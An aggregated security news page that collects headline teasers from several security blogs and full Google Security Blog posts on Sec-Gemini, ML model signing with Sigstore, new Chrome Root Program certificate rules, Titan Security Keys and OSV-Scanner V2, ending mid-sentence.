Threat News Ledger

Read, think, share … Security is everyone's responsibility

The American multinational software company Citrix disclosed a security breach, according to the firm an international cyber criminals gang gained access to its internal network. The American multinational software company Citrix is the last victim of a security breach, according to the company an international cyber criminal gang gained access to its internal network, Hackers […] The post FBI informed software giant Citrix of a security breach appeared first on Security Affairs.

A few days ago, Cybaze-Yoroi ZLAB researchers spotted a suspicious JavaScript file that implemented several techniques to evade detection of all AV solutions. Introduction A few days ago, Cybaze-Yoroi ZLAB researchers spotted a suspicious JavaScript file needing further attention: it leveraged several techniques in order to evade all AV detection and no one of the […] The post Evading AV with JavaScript Obfuscation appeared first on Security Affairs.

Google this week revealed a Windows zero-day that is being actively exploited in targeted attacks alongside a recently fixed Chrome flaw. Google this week disclosed a Windows zero-day vulnerability that is being actively exploited in targeted attacks alongside a recently addressed flaw in Chrome flaw (CVE-2019-5786). The Windows zero-day vulnerability is a local privilege escalation […] The post Google discloses Windows zero-day actively exploited in targeted attacks appeared first on Security Affairs.

Zero-day broker firm Zerodium is offering up to $500,000 for VMware ESXi (vSphere) and Microsoft Hyper-V vulnerabilities. Exploit acquisition firm Zerodium is offering up to $500,000 for VMware ESXi and Microsoft Hyper-V vulnerabilities. The company is looking for exploits that allow guest-to-host escapes in default configurations to gain full access to the host. The overall […] The post Zerodium $500,000 for VMware ESXi, Microsoft Hyper-V Exploits appeared first on Security Affairs.

A study conducted by academics discovered that SSL and TLS certificates and associated services can be easily acquired from dark web marketplaces. A study sponsored by Venafi and conducted by researchers from Georgia State University in the U.S. and the University of Surrey in the U.K. discovered that SSL and TLS certificates and associated services […] The post Research confirms rampant sale of SSL/TLS certificates on darkweb appeared first on Security Affairs.

Cisco released security updates to address over two dozen serious vulnerabilities affecting the Cisco Nexus switches. Cisco released security updates to address over two dozen serious vulnerabilities affecting the Cisco Nexus switches, including denial-of-service (DoS) issues, arbitrary code execution and privilege escalation flaws. Cisco published security advisories for most of the vulnerabilities, many of them impact the […] The post Cisco security updates fix dozens of flaws in Nexus Switches appeared first on Security Affairs.

Security experts at FortiGuard uncovered a new malware campaign aimed at delivering the StealthWorker brute-force malware. The malicious code targets both Windows and Linux systems, compromised systems are used to carry out brute force attacks along with other infected systems. The malicious code was first discovered by Malwarebytes at the end of February and tracked […] The post StealthWorker Malware Uses Windows, Linux Bots to Hack Websites appeared first on Security Affairs.

Researchers at Microsoft warn of damages caused by cyber operations conducted by Iran-linked cyberespionage groups. Security experts at Microsoft are warning of economic damages caused by the activity of Iran-linked hacking groups that are working to penetrate systems, businesses, and governments worldwide. According to Microsoft, the attackers already caused hundreds of millions of dollars in […] The post Microsoft warns of economic damages caused by Iran-linked hackers appeared first on Security Affairs.

UPnP-enabled devices running outdated software are exposed to a wide range of attacks exploiting known flaws in UPnP libraries. A broad range of UPnP-enabled devices running outdated software are exposed to attacks exploiting known flaws in UPnP libraries, Tony Yang, Home Network Researcher, has found 1,648,769 devices using the Shodan search engine, 35% were using […] The post Too much UPnP-enabled connected devices still vulnerable to cyber attacks appeared first on Security Affairs.

Security experts at Symantec linked the massive Singapore Healthcare breach suffered by SingHealth to the ‘Whitefly’ cyberespionage group. In 2018, the largest healthcare group in Singapore, SingHealth, has suffered a massive data breach that exposed personal information of 1.5 million patients who visited the clinics of the company between May 2015 and July 2018. Stolen […] The post Whitefly espionage group was linked to SingHealth Singapore Healthcare Breach appeared first on Security Affairs.

WeLiveSecurity

A North Korea-aligned activity cluster tracked by ESET as DeceptiveDevelopment drains victims' crypto wallets and steals their login details from web browsers and password managers

Some employment scams take an unexpected turn as cybercriminals shift from “hiring” to “firing” staff

The atmospheric scientist makes a compelling case for a head-to-heart-to-hands connection as a catalyst for climate action

ESET researchers analyzed a campaign delivering malware bundled with job interview challenges

The virtual treasure chests and other casino-like rewards inside your children’s games may pose risks you shouldn’t play down

Ever wondered what it's like to hack for a living – legally? Learn about the art and thrill of ethical hacking and how white-hat hackers help organizations tighten up their security.

As AI advances at a rapid clip, reshaping industries, automating tasks, and redefining what machines can achieve, one question looms large: what remains uniquely human?

Deepfake fraud, synthetic identities, and AI-powered scams make identity theft harder to detect and prevent – here's how to fight back

Don’t wait for a costly breach to provide a painful reminder of the importance of timely software patching

As is their wont, cybercriminals waste no time launching attacks that aim to cash in on the frenzy around the latest big thing – plus, what else to know before using DeepSeek

DeepSeek’s bursting onto the AI scene, apparent shifts in US cybersecurity policies, and a massive student data breach all signal another eventful year in cybersecurity and data privacy

You should think twice before trusting your AI assistant, as database poisoning can markedly alter its output – even dangerously so

Left unchecked, AI's energy and carbon footprint could become a significant concern. Can our AI systems be far less energy-hungry without sacrificing performance?

The renowned physicist explores how time and entropy shape the evolution of the universe, the nature of existence, and the eventual fate of everything, including humanity

Don’t roll the dice on your online safety – watch out for bogus sports betting apps and other traps commonly set by scammers

Incoming laws, combined with broader developments on the threat landscape, will create further complexity and urgency for security and compliance teams

Data breaches can cause a loss of revenue and market value as a result of diminished customer trust and reputational damage

ESET researchers uncover a vulnerability in a UEFI application that could enable attackers to deploy malicious bootkits on unpatched systems

ESET researchers have discovered a supply-chain attack against a VPN provider in South Korea by a new China-aligned APT group we have named PlushDaemon

The story of a signed UEFI application allowing a UEFI Secure Boot bypass

In the hands of malicious actors, AI tools can enhance the scale and severity of all manner of scams, disinformation campaigns and other threats

Some of the state’s new child safety law can be easily circumvented. Should it have gone further?

As detections of cryptostealers surge across Windows, Android and macOS, it's time for a refresher on how to keep your bitcoin or other crypto safe

The blurring of lines between cybercrime and state-sponsored attacks underscores the increasingly fluid and multifaceted nature of today’s cyberthreats

Seeking to keep sensitive data private and accelerate AI workloads? Look no further than AI PCs powered by Intel Core Ultra processors with a built-in NPU.

The prominent AI researcher explores the societal impact of artificial intelligence and outlines his vision for a future in which AI upholds human rights, dignity, and fairness

From attacks leveraging new new zero-day exploits to a major law enforcement crackdown, December 2024 was packed with impactful cybersecurity news

The first Canadian to walk in space dives deep into the origins of space debris, how it’s become a growing problem, and how we can clean up the orbital mess

ESET's Jake Moore reveals why the holiday season is a prime time for scams, how fraudsters prey on victims, and how AI is supercharging online fraud

Take a peek into the murky world of cybercrime where groups of scammers who go by the nickname of 'Neanderthals’ wield the Telekopye toolkit to ensnare unsuspecting victims they call 'Mammoths'

ESET Chief Security Evangelist Tony Anscombe looks at some of the report's standout findings and their implications for staying secure in 2025

While you're enjoying the holiday season, cybercriminals could be gearing up for their next big attack – make sure your company's defenses are ready, no matter the time of year

Our ‘computers on wheels’ are more connected than ever, but the features that enhance our convenience often come with privacy risks in tow

Aggregate vulnerability scores don’t tell the whole story – the relationship between a flaw’s public severity rating and the specific risks it poses for your company is more complex than it seems

Could attackers use seemingly innocuous prompts to manipulate an AI system and even make it their unwitting ally?

A view of the H2 2024 threat landscape as seen by ESET telemetry and from the perspective of ESET threat detection and research experts

As cybersecurity is a make-or-break proposition for businesses of all sizes, can your organization's security strategy keep pace with today’s rapidly evolving threats?

Buying a pre-owned phone doesn’t have to mean compromising your security – take these steps to enjoy the benefits of cutting-edge technology at a fraction of the cost

We’re on the cusp of a technological revolution that is poised to transform our lives – and we hold the power to shape its impact

Zero days under attack, a new advisory from 'Five Eyes', thousands of ICS units left exposed, and mandatory MFA for all – it's a wrap on another month filled with impactful cybersecurity news

Cybersecurity compliance may feel overwhelming, but a few clear steps can make it manageable and ensure your business stays on the right side of regulatory requirements

ESET researchers make a discovery that signals a shift on the UEFI threat landscape and underscores the need for vigilance against future threats

ESET's CEO unpacks the complexities of cybersecurity in today’s hyper-connected world and highlights the power of innovation in stopping digital threats in their tracks

The backdoor can execute commands and lets attackers download additional modules onto the victim’s machine, ESET research finds

‘Tis the season to be wary – be on your guard and don’t let fraud ruin your shopping spree

ESET researchers analyze the first UEFI bootkit designed for Linux systems

ESET Research details the analysis of a previously unknown vulnerability in Mozilla products exploited in the wild and another previously unknown Microsoft Windows vulnerability, combined in a zero-click exploit

The veteran of four space missions discusses challenges faced by the Hubble Space Telescope and how human ingenuity and teamwork made Hubble’s success possible

The slow and painful recovery process

ESET Chief Security Evangelist Tony Anscombe highlights some of the most intriguing insights revealed in the latest ESET APT Activity Report

Tired of dodging all those 'Scam Likely' calls? Here's what’s behind the label and how to stay one step ahead of phone scammers.

ESET researchers analyzed previously unknown Linux backdoors that are connected to known Windows malware used by the China-aligned Gelsemium group, and to Project Wood

ESET researchers introduce the Gamaredon APT group, detailing its typical modus operandi, unique victim profile, vast collection of tools and social engineering tactics, and even its estimated geolocation

Artificial intelligence is reshaping the music landscape, turning listeners into creators and sparking new debates over creativity, copyright, and the future of music

In an era of escalating digital threats, cybersecurity compliance goes beyond ticking a legal box – it’s a crucial shield safeguarding assets, reputation, and the very survival of your business

The trailblazing scientist shares her reasons for hope in the fight against climate change and how we can tackle seemingly impossible problems and keep going in the face of adversity

Following the takedown of RedLine Stealer by international authorities, ESET researchers are publicly releasing their research into the infostealer’s backend modules

An overview of the activities of selected APT groups investigated and analyzed by ESET Research in Q2 2024 and Q3 2024

Election interference, American Water and the Internet Archive breaches, new cybersecurity laws, and more – October saw no shortage of impactful cybersecurity news stories

Have you ever googled yourself? Were you happy with what came up? If not, consider requesting the removal of your personal information from search results.

As methane emissions come under heightened global scrutiny, learn how a state-of-the-art satellite can pinpoint their sources and deliver the insights needed for targeted mitigation efforts

Learn how a rather clumsy cybercrime group wielding buggy malicious tools managed to compromise a number of SMBs in various parts of the world

The average time it takes attackers to weaponize a vulnerability, either before or after a patch is released, shrank from 63 days in 2018-2019 to just five days last year

ESET researchers discovered a previously undocumented toolset used by Evasive Panda to access and retrieve data from cloud services

You may not always stop your personal information from ending up in the internet’s dark recesses, but you can take steps to protect yourself from criminals looking to exploit it

Watch out for schemes where fraudsters trick people into sharing verification codes so they can gain access to their phone numbers

“Hey, wanna chat?” This innocent phrase can take on a sinister meaning when it comes from an adult to a child online – and even be the start of a predatory relationship

Novice ransomware group Embargo is testing and deploying a new Rust-based toolkit

ESET research dives deep into a series of attacks that leveraged bespoke toolsets to compromise air-gapped systems belonging to governmental and diplomatic entities

Ever alert to fresh money-making opportunities, fraudsters are blending physical and digital threats to steal drivers’ payment details

The world needs more cybersecurity professionals – here are three great ways to give you an ‘in’ to the ever-growing and rewarding security industry

Could human risk in cybersecurity be managed with a cyber-rating, much like credit scores help assess people’s financial responsibility?

Attributing a cyberattack to a specific threat actor is a complex affair, as evidenced by new ESET research published this week

ESET Research shares new findings about Telekopye, a scam toolkit used to defraud people on online marketplaces, and newly on accommodation booking platforms

ESET Research analyzed two separate toolsets for breaching air-gapped systems, used by a cyberespionage threat actor known as GoldenJackal

Building efficient recovery options will drive ecosystem resilience

ESET Research details the tools and activities of a new China-aligned threat actor, CeranaKeeper, focusing on massive data exfiltration in Southeast Asia

ESET research examines the group's malicious wares as used to spy on targets in Ukraine in the past two years

Despite their benefits, awareness campaigns alone are not enough to encourage widespread adoption of cybersecurity best practices

Keep your cool, arm yourself with the right knowledge, and other tips for staying unshaken by fraudsters’ scare tactics

With just weeks to go before the US presidential election, the FBI and the CISA are warning about attempts to sow distrust in the electoral process

Here’s what parents should know about Snapchat and why you should take some time to ensure your children can stay safe when using the app

How do analyst relations professionals sort through the noise to help deliver the not-so-secret sauce for a company's success? We spoke with ESET's expert to find out.

Proper disclosure of a cyber-incident can help shield your business from further financial and reputational damage, and cyber-insurers can step in to help

ESET researchers also find that CosmicBeetle attempts to exploit the notoriety of the LockBit ransomware gang to advance its own ends

ESET Research has conducted a comprehensive technical analysis of Gamaredon’s toolset used to conduct its cyberespionage activities focused in Ukraine

ESET researchers discuss how they uncovered a zero-day Telegram for Android exploit that allowed attackers to send malicious files posing as videos

Artificial intelligence is just a spoke in the wheel of security – an important spoke but, alas, only one

Learn about the main tactics used by scammers impersonating Best Buy’s tech support arm and how to avoid falling for their tricks

The schemes disproportionately victimize senior citizens, as those aged 60 or over were more than three times as likely as younger adults to fall prey to the scams

ESET researchers discuss HotPage, a recently discovered adware armed with a highest-privilege, yet vulnerable, Microsoft-signed driver

CosmicBeetle, after improving its own ransomware, tries its luck as a RansomHub affiliate

The discovery of the NGate malware by ESET Research is another example of how sophisticated Android threats have become

Sometimes there’s more than just an enticing product offer hiding behind an ad

Would a more robust cybersecurity posture impact premium costs? Does the policy offer legal cover? These are some of the questions organizations should consider when reviewing their cyber insurance options

Demystifying CVE-2024-7262 and CVE-2024-7263

Phishing using PWAs? ESET Research's latest discovery might just ruin some users' assumptions about their preferred platform's security

In the digital graveyard, a new threat stirs: Out-of-support devices becoming thralls of malicious actors

The world of Android threats is quite vast and intriguing. In this episode, Becks and Lukáš demonstrate how easy it is to take over your phone, with some added tips on how to stay secure

Should the payment of a ransomware demand be illegal? Should it be regulated in some way? These questions are some examples of the legal minefield that cybersecurity teams must deal with

Protect Your Interwebs!

The US Federal Bureau of Investigation (FBI) just released a public service announcement (PSA) to the public about a large number of websites being exploited and compromised through WordPress plugin vulnerabilities: Continuous Web site defacements are being perpetrated by individuals sympathetic to the Islamic State in the Levant (ISIL) a.k.a. Islamic State of Iraq andRead More

Security Risk: Dangerous Exploitation level: Very Easy/Remote DREAD Score: 8/10 Vulnerability: Persistent XSS Patched Version:  1.4.4 During a routine audit for our Website Firewall (WAF), we discovered a dangerous Persistent XSS vulnerability affecting the very popular WP-Super-Cache plugin (more than a million active installs according to wordpress.org). The security issue, as well as another bug-fixRead More

Last year, we released a post about a malware injector found in an Adobe Flash (.SWF) file. In that post, we showed how a .SWF file is used to inject an invisible, malicious iFrame. It appears that the author of that Flash malware continued with this method of infection. Now we are seeing more varietiesRead More

Have you ever heard of the term PCI? Specifically, PCI compliance? If you have an e-commerce website, you probably have already heard about it. But do you really understand what it means for you and your online business? In this series, we will try to explain the PCI standard and how it affects you andRead More

Darkleech is a nasty malware infection that infects web servers at the root level. It use malicious Apache modules to add hidden iFrames to certain responses. It’s difficult to detect because the malware is only active when both server and site admins are not logged in, and the iFrame is only injected once a dayRead More

I joined Sucuri a little over a month ago. My job is actually as a Social Media Specialist, but we have this process where regardless of your job you have to learn what website infections look like and more importantly, how to clean them. It’s this idea that regardless of you are you must alwaysRead More

Today, with the proliferation of open-source technologies like WordPress, Joomla! and other Content Management Systems (CMS) people around the world are able to quickly establish a virtual presence with little to no cost. In the process however, a lot is being lost in terms of what it means to own a website. We are failingRead More

The last 7 days have been very busy with a number of vulnerabilities being disclosed on multiple WordPress plugins. Some of them are minor issues, some are more relevant, while others are what we’d categorize as noise. How are you supposed to make sense of all this? To help provide some clarity on the influxRead More

Trojan (or trojan horse) is software that does (or pretends to be doing) something useful but also contains a secret malicious payload that inconspicuously does something bad. In WordPress, typical trojans are plugins and themes (usually pirated) which may have backdoors, or send out spam, create doorways, inject hidden links or malware. The trojan modelRead More

Security Risk: Critical Exploitation level: Very Easy/Remote DREAD Score: 9/10 Vulnerability: Password bypass / Privilege Escalation Patched Version:  2.0.9.2 During a routine audit of our Website Firewall (WAF), we found a critical vulnerability affecting the popular MainWP Child WordPress plugin. According to worpdress.org, it is installed on more than 90,000 WordPress sites as as remote administrationRead More

Posted by Elie Burzstein and Marianna Tishchenko, Sec-Gemini teamToday, we’re announcing Sec-Gemini v1, a new experimental AI model focused on advancing cybersecurity AI frontiers. As outlined a year ago, defenders face the daunting task of securing against all cyber threats, while attackers need to successfully find and exploit only a single vulnerability. This fundamental asymmetry has made securing systems extremely difficult, time consuming and error prone. AI-powered cybersecurity workflows have the potential to help shift the balance back to the defenders by force multiplying cybersecurity professionals like never before. Effectively powering SecOps workflows requires state-of-the-art reasoning capabilities and extensive current cybersecurity knowledge. Sec-Gemini v1 achieves this by combining Gemini’s advanced capabilities with near real-time cybersecurity knowledge and tooling. This combination allows it to achieve superior performance on key cybersecurity workflows, including incident root cause analysis, threat analysis, and vulnerability impact understanding.We firmly believe that successfully pushing AI cybersecurity frontiers to decisively tilt the balance in favor of the defenders requires a strong collaboration across the cybersecurity community. This is why we are making Sec-Gemini v1 freely available to select organizations, institutions, professionals, and NGOs for research purposes.Sec-Gemini v1 outperforms other models on key cybersecurity benchmarks as a result of its advanced integration of Google Threat Intelligence (GTI), OSV, and other key data sources. Sec-Gemini v1 outperforms other models on CTI-MCQ, a leading threat intelligence benchmark, by at least 11% (See Figure 1). It also outperforms other models by at least 10.5% on the CTI-Root Cause Mapping benchmark (See Figure 2):Figure 1: Sec-Gemini v1 outperforms other models on the CTI-MCQ Cybersecurity Threat Intelligence benchmark.Figure 2: Sec-Gemini v1 has outperformed other models in a Cybersecurity Threat Intelligence-Root Cause Mapping (CTI-RCM) benchmark that evaluates an LLM's ability to understand the nuances of vulnerability descriptions, identify vulnerabilities underlying root causes, and accurately classify them according to the CWE taxonomy.Below is an example of the comprehensiveness of Sec-Gemini v1’s answers in response to key cybersecurity questions. First, Sec-Gemini v1 is able to determine that Salt Typhoon is a threat actor (not all models do) and provides a comprehensive description of that threat actor, thanks to its deep integration with Mandiant Threat intelligence data.Next, in response to a question about the vulnerabilities in the Salt Typhoon description, Sec-Gemini v1 outputs not only vulnerability details (thanks to its integration with OSV data, the open-source vulnerabilities database operated by Google), but also contextualizes the vulnerabilities with respect to threat actors (using Mandiant data). With Sec-Gemini v1, analysts can understand the risk and threat profile associated with specific vulnerabilities faster.If you are interested in collaborating with us on advancing the AI cybersecurity frontier, please request early access to Sec-Gemini v1 via this form.

Posted by Mihai Maruseac, Google Open Source Security Team (GOSST)In partnership with NVIDIA and HiddenLayer, as part of the Open Source Security Foundation, we are now launching the first stable version of our model signing library. Using digital signatures like those from Sigstore, we allow users to verify that the model used by the application is exactly the model that was created by the developers. In this blog post we will illustrate why this release is important from Google’s point of view.With the advent of LLMs, the ML field has entered an era of rapid evolution. We have seen remarkable progress leading to weekly launches of various applications which incorporate ML models to perform tasks ranging from customer support, software development, and even performing security critical tasks.However, this has also opened the door to a new wave of security threats. Model and data poisoning, prompt injection, prompt leaking and prompt evasion are just a few of the risks that have recently been in the news. Garnering less attention are the risks around the ML supply chain process: since models are an uninspectable collection of weights (sometimes also with arbitrary code), an attacker can tamper with them and achieve significant impact to those using the models. Users, developers, and practitioners need to examine an important question during their risk assessment process: “can I trust this model?”Since its launch, Google’s Secure AI Framework (SAIF) has created guidance and technical solutions for creating AI applications that users can trust. A first step in achieving trust in the model is to permit users to verify its integrity and provenance, to prevent tampering across all processes from training to usage, via cryptographic signing. The ML supply chainTo understand the need for the model signing project, let’s look at the way ML powered applications are developed, with an eye to where malicious tampering can occur.Applications that use advanced AI models are typically developed in at least three different stages. First, a large foundation model is trained on large datasets. Next, a separate ML team finetunes the model to make it achieve good performance on application specific tasks. Finally,  this fine-tuned model is embedded into an application.The three steps involved in building an application that uses large language models.These three stages are usually handled by different teams, and potentially even different companies, since each stage requires specialized expertise. To make models available from one stage to the next, practitioners leverage model hubs, which are repositories for storing models. Kaggle and HuggingFace are popular open source options, although internal model hubs could also be used.This separation into stages creates multiple opportunities where a malicious user (or external threat actor who has compromised the internal infrastructure) could tamper with the model. This could range from just a slight alteration of the model weights that control model behavior, to injecting architectural backdoors — completely new model behaviors and capabilities that could be triggered only on specific inputs. It is also possible to exploit the serialization format and inject arbitrary code execution in the model as saved on disk — our whitepaper on AI supply chain integrity goes into more details on how popular model serialization libraries could be exploited. The following diagram summarizes the risks across the ML supply chain for developing a single model, as discussed in the whitepaper.The supply chain diagram for building a single model, illustrating some supply chain risks (oval labels) and where model signing can defend against them (check marks)The diagram shows several places where the model could be compromised. Most of these could be prevented by signing the model during training and verifying integrity before any usage, in every step: the signature would have to be verified when the model gets uploaded to a model hub, when the model gets selected to be deployed into an application (embedded or via remote APIs) and when the model is used as an intermediary during another training run. Assuming the training infrastructure is trustworthy and not compromised, this approach guarantees that each model user can trust the model.Sigstore for ML modelsSigning models is inspired by code signing, a critical step in traditional software development. A signed binary artifact helps users identify its producer and prevents tampering after publication. The average developer, however, would not want to manage keys and rotate them on compromise.These challenges are addressed by using Sigstore, a collection of tools and services that make code signing secure and easy. By binding an OpenID Connect token to a workload or developer identity, Sigstore alleviates the need to manage or rotate long-lived secrets. Furthermore, signing is made transparent so signatures over malicious artifacts could be audited in a public transparency log, by anyone. This ensures that split-view attacks are not possible, so any user would get the exact same model. These features are why we recommend Sigstore’s signing mechanism as the default approach for signing ML models.Today the OSS community is releasing the v1.0 stable version of our model signing library as a Python package supporting Sigstore and traditional signing methods. This model signing library is specialized to handle the sheer scale of ML models (which are usually much larger than traditional software components), and handles signing models represented as a directory tree. The package provides CLI utilities so that users can sign and verify model signatures for individual models. The package can also be used as a library which we plan to incorporate directly into model hub upload flows as well as into ML frameworks.Future goalsWe can view model signing as establishing the foundation of trust in the ML ecosystem. We envision extending this approach to also include datasets and other ML-related artifacts. Then, we plan to build on top of signatures, towards fully tamper-proof metadata records, that can be read by both humans and machines. This has the potential to automate a significant fraction of the work needed to perform incident response in case of a compromise in the ML world. In an ideal world, an ML developer would not need to perform any code changes to the training code, while the framework itself would handle model signing and verification in a transparent manner.If you are interested in the future of this project, join the OpenSSF meetings attached to the project. To shape the future of building tamper-proof ML, join the Coalition for Secure AI, where we are planning to work on building the entire trust ecosystem together with the open source community. In collaboration with multiple industry partners, we are starting up a special interest group under CoSAI for defining the future of ML signing and including tamper-proof ML metadata, such as model cards and evaluation results.

Posted by Chrome Root Program, Chrome Security Team The Chrome Root Program launched in 2022 as part of Google’s ongoing commitment to upholding secure and reliable network connections in Chrome. We previously described how the Chrome Root Program keeps users safe, and described how the program is focused on promoting technologies and practices that strengthen the underlying security assurances provided by Transport Layer Security (TLS). Many of these initiatives are described on our forward looking, public roadmap named “Moving Forward, Together.” At a high-level, “Moving Forward, Together” is our vision of the future. It is non-normative and considered distinct from the requirements detailed in the Chrome Root Program Policy. It’s focused on themes that we feel are essential to further improving the Web PKI ecosystem going forward, complementing Chrome’s core principles of speed, security, stability, and simplicity. These themes include: Encouraging modern infrastructures and agility Focusing on simplicity Promoting automation Reducing mis-issuance Increasing accountability and ecosystem integrity Streamlining and improving domain validation practices Preparing for a "post-quantum" world Earlier this month, two “Moving Forward, Together” initiatives became required practices in the CA/Browser Forum Baseline Requirements (BRs). The CA/Browser Forum is a cross-industry group that works together to develop minimum requirements for TLS certificates. Ultimately, these new initiatives represent an improvement to the security and agility of every TLS connection relied upon by Chrome users. If you’re unfamiliar with HTTPS and certificates, see the “Introduction” of this blog post for a high-level overview. Multi-Perspective Issuance Corroboration Before issuing a certificate to a website, a Certification Authority (CA) must verify the requestor legitimately controls the domain whose name will be represented in the certificate. This process is referred to as "domain control validation" and there are several well-defined methods that can be used. For example, a CA can specify a random value to be placed on a website, and then perform a check to verify the value’s presence has been published by the certificate requestor. Despite the existing domain control validation requirements defined by the CA/Browser Forum, peer-reviewed research authored by the Center for Information Technology Policy (CITP) of Princeton University and others highlighted the risk of Border Gateway Protocol (BGP) attacks and prefix-hijacking resulting in fraudulently issued certificates. This risk was not merely theoretical, as it was demonstrated that attackers successfully exploited this vulnerability on numerous occasions, with just one of these attacks resulting in approximately $2 million dollars of direct losses. Multi-Perspective Issuance Corroboration (referred to as "MPIC") enhances existing domain control validation methods by reducing the likelihood that routing attacks can result in fraudulently issued certificates. Rather than performing domain control validation and authorization from a single geographic or routing vantage point, which an adversary could influence as demonstrated by security researchers, MPIC implementations perform the same validation from multiple geographic locations and/or Internet Service Providers. This has been observed as an effective countermeasure against ethically conducted, real-world BGP hijacks. The Chrome Root Program led a work team of ecosystem participants, which culminated in a CA/Browser Forum Ballot to require adoption of MPIC via Ballot SC-067. The ballot received unanimous support from organizations who participated in voting. Beginning March 15, 2025, CAs issuing publicly-trusted certificates must now rely on MPIC as part of their certificate issuance process. Some of these CAs are relying on the Open MPIC Project to ensure their implementations are robust and consistent with ecosystem expectations. We’d especially like to thank Henry Birge-Lee, Grace Cimaszewski, Liang Wang, Cyrill Krähenbühl, Mihir Kshirsagar, Prateek Mittal, Jennifer Rexford, and others from Princeton University for their sustained efforts in promoting meaningful web security improvements and ongoing partnership. Linting Linting refers to the automated process of analyzing X.509 certificates to detect and prevent errors, inconsistencies, and non-compliance with requirements and industry standards. Linting ensures certificates are well-formatted and include the necessary data for their intended use, such as website authentication. Linting can expose the use of weak or obsolete cryptographic algorithms and other known insecure practices, improving overall security. Linting improves interoperability and helps CAs reduce the risk of non-compliance with industry standards (e.g., CA/Browser Forum TLS Baseline Requirements). Non-compliance can result in certificates being "mis-issued". Detecting these issues before a certificate is in use by a site operator reduces the negative impact associated with having to correct a mis-issued certificate. There are numerous open-source linting projects in existence (e.g., certlint, pkilint, x509lint, and zlint), in addition to numerous custom linting projects maintained by members of the Web PKI ecosystem. “Meta” linters, like pkimetal, combine multiple linting tools into a single solution, offering simplicity and significant performance improvements to implementers compared to implementing multiple standalone linting solutions. Last spring, the Chrome Root Program led ecosystem-wide experiments, emphasizing the need for linting adoption due to the discovery of widespread certificate mis-issuance. We later participated in drafting CA/Browser Forum Ballot SC-075 to require adoption of certificate linting. The ballot received unanimous support from organizations who participated in voting. Beginning March 15, 2025, CAs issuing publicly-trusted certificates must now rely on linting as part of their certificate issuance process. What’s next? We recently landed an updated version of the Chrome Root Program Policy that further aligns with the goals outlined in “Moving Forward, Together.” The Chrome Root Program remains committed to proactive advancement of the Web PKI. This commitment was recently realized in practice through our proposal to sunset demonstrated weak domain control validation methods permitted by the CA/Browser Forum TLS Baseline Requirements. The weak validation methods in question are now prohibited beginning July 15, 2025. It’s essential we all work together to continually improve the Web PKI, and reduce the opportunities for risk and abuse before measurable harm can be realized. We continue to value collaboration with web security professionals and the members of the CA/Browser Forum to realize a safer Internet. Looking forward, we’re excited to explore a reimagined Web PKI and Chrome Root Program with even stronger security assurances for the web as we navigate the transition to post-quantum cryptography. We’ll have more to say about quantum-resistant PKI later this year.

Posted by Christiaan Brand, Group Product ManagerWe’re excited to announce that starting today, Titan Security Keys are available for purchase in more than 10 new countries:IrelandPortugalThe NetherlandsDenmarkNorwaySwedenFinlandAustraliaNew ZealandSingaporePuerto RicoThis expansion means Titan Security Keys are now available in 22 markets, including previously announced countries like Austria, Belgium, Canada, France, Germany, Italy, Japan, Spain, Switzerland, the UK, and the US.What is a Titan Security Key?A Titan Security Key is a small, physical device that you can use to verify your identity when you sign in to your Google Account. It’s like a second password that’s much harder for cybercriminals to steal.Titan Security Keys allow you to store your passkeys on a strong, purpose-built device that can help protect you against phishing and other online attacks. They’re easy to use and work with a wide range of devices and services as they’re compatible with the FIDO2 standard.How do I use a Titan Security Key?To use a Titan Security Key, you simply plug it into your computer’s USB port or tap it to your device using NFC. When you’re asked to verify your identity, you’ll just need to tap the button on the key.Where can I buy a Titan Security Key?You can buy Titan Security Keys on the Google Store.We’re committed to making our products available to as many people as possible and we hope this expansion will help more people stay safe online.

Posted by Rex Pan and Xueqin Cui, Google Open Source Security TeamIn December 2022, we released the open source OSV-Scanner tool, and earlier this year, we open sourced OSV-SCALIBR. OSV-Scanner and OSV-SCALIBR, together with OSV.dev are components of an open platform for managing vulnerability metadata and enabling simple and accurate matching and remediation of known vulnerabilities. Our goal is to simplify and streamline vulnerability management for developers and security teams alike.Today, we're thrilled to announce the launch of OSV-Scanner V2.0.0, following the announcement of the beta version. This V2 release builds upon the foundation we laid with OSV-SCALIBR and adds significant new capabilities to OSV-Scanner, making it a comprehensive vulnerability scanner and remediation tool with broad support for formats and ecosystems. What’s newEnhanced Dependency Extraction with OSV-SCALIBRThis release represents the first major integration of OSV-SCALIBR features into OSV-Scanner, which is now the official command-line code and container scanning tool for the OSV-SCALIBR library. This integration also expanded our support for the kinds of dependencies we can extract from projects and containers:Source manifests and lockfiles:.NET: deps.jsonPython: uv.lockJavaScript: bun.lockHaskell: cabal.project.freeze, stack.yaml.lockArtifacts:Node modulesPython wheelsJava uber jarsGo binariesLayer and base image-aware container scanningPreviously, OSV-Scanner focused on scanning of source repositories and language package manifests and lockfiles. OSV-Scanner V2 adds support for comprehensive, layer-aware scanning for Debian, Ubuntu, and Alpine container images. OSV-Scanner can now analyze container images to provide:Layers where a package was first introducedLayer history and commandsBase images the image is based on (leveraging a new experimental API provided by deps.dev).OS/Distro the container is running onFiltering of vulnerabilities that are unlikely to impact your container imageThis layer analysis currently supports the following OSes and languages:Distro Support:Alpine OSDebianUbuntuLanguage Artifacts Support:GoJavaNodePythonInteractive HTML outputPresenting vulnerability scan information in a clear and actionable way is difficult, particularly in the context of container scanning. To address this, we built a new interactive local HTML output format. This provides more interactivity and information compared to terminal only outputs, including:Severity breakdownPackage and ID filteringVulnerability importance filteringFull vulnerability advisory entriesAnd additionally for container image scanning:Layer filteringImage layer informationBase image identificationIllustration of HTML output for container image scanningGuided remediation for Maven pom.xmlLast year we released a feature called guided remediation for npm, which streamlines vulnerability management by intelligently suggesting prioritized, targeted upgrades and offering flexible strategies. This ultimately maximizes security improvements while minimizing disruption. We have now expanded this feature to Java through support for Maven pom.xml.With guided remediation support for Maven, you can remediate vulnerabilities in both direct and transitive dependencies through direct version updates or overriding versions through dependency management.We’ve introduced a few new things for our Maven support:A new remediation strategy override.Support for reading and writing pom.xml files, including writing changes to local parent pom files. We leverage OSV-Scalibr for Maven transitive dependency extraction.A private registry can be specified to fetch Maven metadata.A new experimental subcommend to update all your dependencies in pom.xml to the latest version.We also introduced machine readable output for guided remediation that makes it easier to integrate guided remediation into your workflow.What’s next?We have exciting plans for the remainder of the year, including:Continued OSV-SCALIBR Convergence: We will continue to converge OSV-Scanner and OSV-SCALIBR to bring OSV-SCALIBR’s functionality to OSV-Scanner’s CLI interface.Expanded Ecosystem Support: We'll expand the number of ecosystems we support across all the features currently in OSV-Scanner, including more languages for guided remediation, OS advisories for container scanning, and more general lockfile support for source code scanning.Full Filesystem Accountability for Containers: Another goal of osv-scanner 